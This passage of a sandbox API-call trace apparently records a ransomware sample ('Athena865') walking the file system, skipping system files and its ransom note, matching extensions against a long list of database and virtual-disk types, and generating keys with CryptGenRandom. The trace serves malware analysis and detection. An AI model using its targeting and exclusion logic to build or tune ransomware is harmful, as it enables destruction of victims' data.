dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.885] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42254) returned 1 [0127.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.885] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0127.886] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0127.886] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.886] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa810, lpName=0x0) returned 0x154 [0127.889] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa810) returned 0x100000 [0127.892] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0127.892] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0127.893] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0127.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0127.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0127.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0127.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0127.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0127.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0127.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0127.894] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0127.894] CloseHandle (hObject=0x154) returned 1 [0127.894] CloseHandle (hObject=0x17c) returned 1 [0127.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0127.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0127.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0127.894] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60b62300, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60b62300, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0x6e74, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0211981.WMF", cAlternateFileName="")) returned 1 [0127.895] lstrcmpiW (lpString1="J0211981.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0127.895] lstrcmpiW (lpString1="J0211981.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0127.895] lstrcmpiW (lpString1="J0211981.WMF", lpString2=".") returned 1 [0127.895] lstrcmpiW (lpString1="J0211981.WMF", lpString2="..") returned 1 [0127.895] lstrcmpiW (lpString1="J0211981.WMF", lpString2="windows") returned -1 [0127.895] lstrcmpiW (lpString1="J0211981.WMF", lpString2="bootmgr") returned 1 [0127.895] lstrcmpiW (lpString1="J0211981.WMF", lpString2="temp") returned -1 [0127.895] lstrcmpiW (lpString1="J0211981.WMF", lpString2="pagefile.sys") returned -1 [0127.895] lstrcmpiW (lpString1="J0211981.WMF", lpString2="boot") returned 1 [0127.895] lstrcmpiW (lpString1="J0211981.WMF", lpString2="ids.txt") returned 1 [0127.895] lstrcmpiW (lpString1="J0211981.WMF", lpString2="ntuser.dat") returned -1 [0127.895] lstrcmpiW (lpString1="J0211981.WMF", lpString2="perflogs") returned -1 [0127.895] lstrcmpiW (lpString1="J0211981.WMF", lpString2="MSBuild") returned -1 [0127.895] lstrlenW (lpString="J0211981.WMF") returned 12 [0127.895] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0211981.WMF" | out: lpString1="J0211981.WMF") returned="J0211981.WMF" [0127.895] lstrlenW (lpString="J0211981.WMF") returned 12 [0127.895] lstrlenW (lpString="Athena865") returned 9 [0127.895] lstrcmpiW (lpString1="11981.WMF", lpString2="Athena865") returned -1 [0127.895] lstrlenW (lpString=".dll") returned 4 [0127.895] lstrcmpiW (lpString1="J0211981.WMF", lpString2=".dll") returned 1 [0127.895] lstrlenW (lpString=".lnk") returned 4 [0127.895] lstrcmpiW (lpString1="J0211981.WMF", lpString2=".lnk") returned 1 [0127.895] lstrlenW (lpString=".ini") returned 4 [0127.895] lstrcmpiW (lpString1="J0211981.WMF", lpString2=".ini") returned 1 [0127.895] lstrlenW (lpString=".sys") returned 4 [0127.895] lstrcmpiW (lpString1="J0211981.WMF", lpString2=".sys") returned 1 [0127.895] lstrlenW (lpString="J0211981.WMF") returned 12 [0127.896] lstrlenW (lpString="bak") returned 3 [0127.896] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0127.896] lstrlenW (lpString="ba_") returned 3 [0127.896] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0127.896] lstrlenW (lpString="dbb") returned 3 [0127.896] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0127.896] lstrlenW (lpString="vmdk") returned 4 [0127.896] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0127.896] lstrlenW (lpString="rar") returned 3 [0127.896] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0127.896] lstrlenW (lpString="zip") returned 3 [0127.896] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0127.896] lstrlenW (lpString="tgz") returned 3 [0127.896] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0127.896] lstrlenW (lpString="vbox") returned 4 [0127.896] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0127.896] lstrlenW (lpString="vdi") returned 3 [0127.896] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0127.896] lstrlenW (lpString="vhd") returned 3 [0127.896] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0127.896] lstrlenW (lpString="vhdx") returned 4 [0127.896] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0127.896] lstrlenW (lpString="avhd") returned 4 [0127.896] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0127.896] lstrlenW (lpString="db") returned 2 [0127.896] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0127.896] lstrlenW (lpString="db2") returned 3 [0127.897] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0127.897] lstrlenW (lpString="db3") returned 3 [0127.897] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0127.897] lstrlenW (lpString="dbf") returned 3 [0127.897] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0127.897] lstrlenW (lpString="mdf") returned 3 [0127.897] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0127.897] lstrlenW (lpString="mdb") returned 3 [0127.897] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0127.897] lstrlenW (lpString="sql") returned 3 [0127.897] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0127.897] lstrlenW (lpString="sqlite") returned 6 [0127.897] lstrcmpiW (lpString1="81.WMF", lpString2="sqlite") returned -1 [0127.897] lstrlenW (lpString="sqlite3") returned 7 [0127.897] lstrcmpiW (lpString1="981.WMF", lpString2="sqlite3") returned -1 [0127.897] lstrlenW (lpString="sqlitedb") returned 8 [0127.897] lstrcmpiW (lpString1="1981.WMF", lpString2="sqlitedb") returned -1 [0127.897] lstrlenW (lpString="xml") returned 3 [0127.897] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0127.897] lstrlenW (lpString="$er") returned 3 [0127.897] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0127.897] lstrlenW (lpString="4dd") returned 3 [0127.897] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0127.897] lstrlenW (lpString="4dl") returned 3 [0127.897] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0127.897] lstrlenW (lpString="^^^") returned 3 [0127.897] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0127.897] lstrlenW (lpString="abs") returned 3 [0127.898] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0127.898] lstrlenW (lpString="abx") returned 3 [0127.898] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0127.898] lstrlenW (lpString="accdb") returned 5 [0127.898] lstrcmpiW (lpString1="1.WMF", lpString2="accdb") returned -1 [0127.898] lstrlenW (lpString="accdc") returned 5 [0127.898] lstrcmpiW (lpString1="1.WMF", lpString2="accdc") returned -1 [0127.898] lstrlenW (lpString="accde") returned 5 [0127.898] lstrcmpiW (lpString1="1.WMF", lpString2="accde") returned -1 [0127.898] lstrlenW (lpString="accdr") returned 5 [0127.898] lstrcmpiW (lpString1="1.WMF", lpString2="accdr") returned -1 [0127.898] lstrlenW (lpString="accdt") returned 5 [0127.898] lstrcmpiW (lpString1="1.WMF", lpString2="accdt") returned -1 [0127.898] lstrlenW (lpString="accdw") returned 5 [0127.898] lstrcmpiW (lpString1="1.WMF", lpString2="accdw") returned -1 [0127.898] lstrlenW (lpString="accft") returned 5 [0127.898] lstrcmpiW (lpString1="1.WMF", lpString2="accft") returned -1 [0127.898] lstrlenW (lpString="adb") returned 3 [0127.898] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0127.898] lstrlenW (lpString="adb") returned 3 [0127.898] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0127.898] lstrlenW (lpString="ade") returned 3 [0127.898] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0127.898] lstrlenW (lpString="adf") returned 3 [0127.898] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0127.898] lstrlenW (lpString="adn") returned 3 [0127.898] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0127.899] lstrlenW (lpString="adp") returned 3 [0127.899] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0127.899] lstrlenW (lpString="alf") returned 3 [0127.899] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0127.899] lstrlenW (lpString="ask") returned 3 [0127.899] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0127.899] lstrlenW (lpString="btr") returned 3 [0127.899] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0127.899] lstrlenW (lpString="cat") returned 3 [0127.899] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0127.899] lstrlenW (lpString="cdb") returned 3 [0127.899] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0127.899] lstrlenW (lpString="ckp") returned 3 [0127.899] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0127.899] lstrlenW (lpString="cma") returned 3 [0127.899] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0127.899] lstrlenW (lpString="cpd") returned 3 [0127.899] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0127.899] lstrlenW (lpString="dacpac") returned 6 [0127.899] lstrcmpiW (lpString1="81.WMF", lpString2="dacpac") returned -1 [0127.899] lstrlenW (lpString="dad") returned 3 [0127.899] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0127.899] lstrlenW (lpString="dadiagrams") returned 10 [0127.899] lstrcmpiW (lpString1="211981.WMF", lpString2="dadiagrams") returned -1 [0127.899] lstrlenW (lpString="daschema") returned 8 [0127.899] lstrcmpiW (lpString1="1981.WMF", lpString2="daschema") returned -1 [0127.899] lstrlenW (lpString="db-journal") returned 10 [0127.900] lstrcmpiW (lpString1="211981.WMF", lpString2="db-journal") returned -1 [0127.900] lstrlenW (lpString="db-shm") returned 6 [0127.900] lstrcmpiW (lpString1="81.WMF", lpString2="db-shm") returned -1 [0127.900] lstrlenW (lpString="db-wal") returned 6 [0127.900] lstrcmpiW (lpString1="81.WMF", lpString2="db-wal") returned -1 [0127.900] lstrlenW (lpString="dbc") returned 3 [0127.900] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0127.900] lstrlenW (lpString="dbs") returned 3 [0127.900] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0127.900] lstrlenW (lpString="dbt") returned 3 [0127.900] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0127.900] lstrlenW (lpString="dbv") returned 3 [0127.900] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0127.900] lstrlenW (lpString="dbx") returned 3 [0127.900] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0127.900] lstrlenW (lpString="dcb") returned 3 [0127.900] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0127.900] lstrlenW (lpString="dct") returned 3 [0127.900] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0127.900] lstrlenW (lpString="dcx") returned 3 [0127.900] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0127.900] lstrlenW (lpString="ddl") returned 3 [0127.900] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0127.900] lstrlenW (lpString="dlis") returned 4 [0127.900] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0127.900] lstrlenW (lpString="dp1") returned 3 [0127.900] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0127.901] lstrlenW (lpString="dqy") returned 3 [0127.901] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0127.901] lstrlenW (lpString="dsk") returned 3 [0127.901] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0127.901] lstrlenW (lpString="dsn") returned 3 [0127.901] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0127.901] lstrlenW (lpString="dtsx") returned 4 [0127.901] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0127.901] lstrlenW (lpString="dxl") returned 3 [0127.901] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0127.901] lstrlenW (lpString="eco") returned 3 [0127.901] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0127.901] lstrlenW (lpString="ecx") returned 3 [0127.901] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0127.901] lstrlenW (lpString="edb") returned 3 [0127.901] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0127.901] lstrlenW (lpString="epim") returned 4 [0127.901] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0127.901] lstrlenW (lpString="fcd") returned 3 [0127.901] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0127.901] lstrlenW (lpString="fdb") returned 3 [0127.901] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0127.901] lstrlenW (lpString="fic") returned 3 [0127.901] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0127.901] lstrlenW (lpString="flexolibrary") returned 12 [0127.901] lstrlenW (lpString="fm5") returned 3 [0127.901] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0127.901] lstrlenW (lpString="fmp") returned 3 [0127.902] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0127.902] lstrlenW (lpString="fmp12") returned 5 [0127.902] lstrcmpiW (lpString1="1.WMF", lpString2="fmp12") returned -1 [0127.902] lstrlenW (lpString="fmpsl") returned 5 [0127.902] lstrcmpiW (lpString1="1.WMF", lpString2="fmpsl") returned -1 [0127.902] lstrlenW (lpString="fol") returned 3 [0127.902] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0127.902] lstrlenW (lpString="fp3") returned 3 [0127.902] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0127.902] lstrlenW (lpString="fp4") returned 3 [0127.902] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0127.902] lstrlenW (lpString="fp5") returned 3 [0127.902] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0127.902] lstrlenW (lpString="fp7") returned 3 [0127.902] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0127.902] lstrlenW (lpString="fpt") returned 3 [0127.902] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0127.902] lstrlenW (lpString="frm") returned 3 [0127.902] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0127.902] lstrlenW (lpString="gdb") returned 3 [0127.902] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0127.902] lstrlenW (lpString="gdb") returned 3 [0127.902] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0127.902] lstrlenW (lpString="grdb") returned 4 [0127.902] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0127.902] lstrlenW (lpString="gwi") returned 3 [0127.902] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0127.902] lstrlenW (lpString="hdb") returned 3 [0127.903] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0127.903] lstrlenW (lpString="his") returned 3 [0127.903] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0127.903] lstrlenW (lpString="ib") returned 2 [0127.903] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0127.903] lstrlenW (lpString="idb") returned 3 [0127.903] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0127.903] lstrlenW (lpString="ihx") returned 3 [0127.903] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0127.903] lstrlenW (lpString="itdb") returned 4 [0127.903] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0127.903] lstrlenW (lpString="itw") returned 3 [0127.903] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0127.903] lstrlenW (lpString="jet") returned 3 [0127.903] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0127.903] lstrlenW (lpString="jtx") returned 3 [0127.903] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0127.903] lstrlenW (lpString="kdb") returned 3 [0127.903] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0127.903] lstrlenW (lpString="kexi") returned 4 [0127.903] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0127.903] lstrlenW (lpString="kexic") returned 5 [0127.903] lstrcmpiW (lpString1="1.WMF", lpString2="kexic") returned -1 [0127.903] lstrlenW (lpString="kexis") returned 5 [0127.903] lstrcmpiW (lpString1="1.WMF", lpString2="kexis") returned -1 [0127.903] lstrlenW (lpString="lgc") returned 3 [0127.903] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0127.903] lstrlenW (lpString="lwx") returned 3 [0127.904] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0127.904] lstrlenW (lpString="maf") returned 3 [0127.904] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0127.904] lstrlenW (lpString="maq") returned 3 [0127.904] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0127.904] lstrlenW (lpString="mar") returned 3 [0127.904] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0127.904] lstrlenW (lpString="marshal") returned 7 [0127.904] lstrcmpiW (lpString1="981.WMF", lpString2="marshal") returned -1 [0127.904] lstrlenW (lpString="mas") returned 3 [0127.904] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0127.904] lstrlenW (lpString="mav") returned 3 [0127.904] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0127.904] lstrlenW (lpString="maw") returned 3 [0127.904] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0127.904] lstrlenW (lpString="mdbhtml") returned 7 [0127.904] lstrcmpiW (lpString1="981.WMF", lpString2="mdbhtml") returned -1 [0127.904] lstrlenW (lpString="mdn") returned 3 [0127.904] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0127.904] lstrlenW (lpString="mdt") returned 3 [0127.904] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0127.904] lstrlenW (lpString="mfd") returned 3 [0127.904] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0127.904] lstrlenW (lpString="mpd") returned 3 [0127.904] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0127.904] lstrlenW (lpString="mrg") returned 3 [0127.904] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0127.904] lstrlenW (lpString="mud") returned 3 [0127.905] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0127.905] lstrlenW (lpString="mwb") returned 3 [0127.905] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0127.905] lstrlenW (lpString="myd") returned 3 [0127.905] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0127.905] lstrlenW (lpString="ndf") returned 3 [0127.905] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0127.905] lstrlenW (lpString="nnt") returned 3 [0127.905] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0127.905] lstrlenW (lpString="nrmlib") returned 6 [0127.905] lstrcmpiW (lpString1="81.WMF", lpString2="nrmlib") returned -1 [0127.905] lstrlenW (lpString="ns2") returned 3 [0127.905] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0127.905] lstrlenW (lpString="ns3") returned 3 [0127.905] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0127.905] lstrlenW (lpString="ns4") returned 3 [0127.905] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0127.905] lstrlenW (lpString="nsf") returned 3 [0127.905] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0127.905] lstrlenW (lpString="nv") returned 2 [0127.905] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0127.905] lstrlenW (lpString="nv2") returned 3 [0127.905] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0127.905] lstrlenW (lpString="nwdb") returned 4 [0127.905] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0127.905] lstrlenW (lpString="nyf") returned 3 [0127.905] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0127.905] lstrlenW (lpString="odb") returned 3 [0127.906] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0127.906] lstrlenW (lpString="odb") returned 3 [0127.906] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0127.906] lstrlenW (lpString="oqy") returned 3 [0127.906] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0127.906] lstrlenW (lpString="ora") returned 3 [0127.906] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0127.906] lstrlenW (lpString="orx") returned 3 [0127.906] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0127.906] lstrlenW (lpString="owc") returned 3 [0127.906] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0127.906] lstrlenW (lpString="p96") returned 3 [0127.906] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0127.906] lstrlenW (lpString="p97") returned 3 [0127.906] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0127.906] lstrlenW (lpString="pan") returned 3 [0127.906] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0127.906] lstrlenW (lpString="pdb") returned 3 [0127.906] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0127.906] lstrlenW (lpString="pdm") returned 3 [0127.906] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0127.906] lstrlenW (lpString="pnz") returned 3 [0127.906] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0127.906] lstrlenW (lpString="qry") returned 3 [0127.906] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0127.906] lstrlenW (lpString="qvd") returned 3 [0127.907] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0127.907] lstrlenW (lpString="rbf") returned 3 [0127.907] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0127.907] lstrlenW (lpString="rctd") returned 4 [0127.907] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0127.907] lstrlenW (lpString="rod") returned 3 [0127.907] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0127.907] lstrlenW (lpString="rodx") returned 4 [0127.907] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0127.907] lstrlenW (lpString="rpd") returned 3 [0127.907] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0127.907] lstrlenW (lpString="rsd") returned 3 [0127.907] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0127.907] lstrlenW (lpString="sas7bdat") returned 8 [0127.907] lstrcmpiW (lpString1="1981.WMF", lpString2="sas7bdat") returned -1 [0127.907] lstrlenW (lpString="sbf") returned 3 [0127.907] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0127.907] lstrlenW (lpString="scx") returned 3 [0127.907] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0127.907] lstrlenW (lpString="sdb") returned 3 [0127.907] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0127.907] lstrlenW (lpString="sdc") returned 3 [0127.907] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0127.907] lstrlenW (lpString="sdf") returned 3 [0127.907] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0127.907] lstrlenW (lpString="sis") returned 3 [0127.907] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0127.908] lstrlenW (lpString="spq") returned 3 [0127.908] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0127.908] lstrlenW (lpString="te") returned 2 [0127.908] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0127.908] lstrlenW (lpString="teacher") returned 7 [0127.908] lstrcmpiW (lpString1="981.WMF", lpString2="teacher") returned -1 [0127.908] lstrlenW (lpString="tmd") returned 3 [0127.908] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0127.908] lstrlenW (lpString="tps") returned 3 [0127.908] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0127.908] lstrlenW (lpString="trc") returned 3 [0127.908] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0127.908] lstrlenW (lpString="trc") returned 3 [0127.908] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0127.908] lstrlenW (lpString="trm") returned 3 [0127.908] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0127.908] lstrlenW (lpString="udb") returned 3 [0127.908] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0127.908] lstrlenW (lpString="udl") returned 3 [0127.908] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0127.908] lstrlenW (lpString="usr") returned 3 [0127.908] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0127.908] lstrlenW (lpString="v12") returned 3 [0127.908] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0127.908] lstrlenW (lpString="vis") returned 3 [0127.908] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0127.908] lstrlenW (lpString="vpd") returned 3 [0127.908] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0127.909] lstrlenW (lpString="vvv") returned 3 [0127.909] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0127.909] lstrlenW (lpString="wdb") returned 3 [0127.909] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0127.909] lstrlenW (lpString="wmdb") returned 4 [0127.909] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0127.909] lstrlenW (lpString="wrk") returned 3 [0127.909] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0127.909] lstrlenW (lpString="xdb") returned 3 [0127.909] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0127.909] lstrlenW (lpString="xld") returned 3 [0127.909] lstrcmpiW (lpString1="WMF", 